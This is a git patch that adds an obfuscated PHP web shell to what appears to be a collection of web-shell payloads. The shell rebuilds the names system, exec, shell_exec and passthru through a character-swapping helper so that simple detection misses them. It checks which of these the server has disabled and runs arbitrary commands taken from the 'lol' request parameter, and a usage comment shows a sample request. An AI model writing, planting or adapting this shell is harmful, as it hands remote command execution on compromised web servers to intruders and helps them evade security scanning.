From 090addc816e36fe1a5e29eba3705d3381c904673 Mon Sep 17 00:00:00 2001
From: azams <azams.net@gmail.com>
Date: Sat, 2 Apr 2022 05:25:23 -0700
Subject: [PATCH] Add another obfuscated php shell.

---
 Web-Shells/PHP/another-obfuscated-phpshell.php | 14 ++++++++++++++
 1 file changed, 14 insertions(+)
 create mode 100644 Web-Shells/PHP/another-obfuscated-phpshell.php

diff --git a/Web-Shells/PHP/another-obfuscated-phpshell.php b/Web-Shells/PHP/another-obfuscated-phpshell.php
new file mode 100644
index 00000000..16a7689a
--- /dev/null
+++ b/Web-Shells/PHP/another-obfuscated-phpshell.php
@@ -0,0 +1,14 @@
+<?php // Usage example: GET /another_obfuscated_phpshell.php?lol=ls%20-al
+$S=array(m("ncoai","msyte", "cocain"),m("sir","cex","iris"),m("otab","lshe","taboo")."_".m("sir","cex","iris"),m("gbledin","upasthr","bleeding"));
+$TR=m("etroubl","edisabl","trouble");$MK=m("dpreambl","sfunctio","preambled");$D=explode(",",ini_get($TR.'_'.$MK));$P=$_REQUEST;
+function m($a,$b,$c) {return str_replace(str_split($a), str_split($b), $c);}
+foreach($S as $A) {
+    if(!in_array($A, $D)) {
+        if($A == m("ncoai","msyte","cocain")) $A($P['lol']);
+        elseif($A == m("sir","cex","iris")) {
+            exec("$P 2>&1", $arr);
+            echo join("\n",$arr)."\n";
+        } else echo $A($P['lol']);
+        exit;
+    }
+}
\ No newline at end of file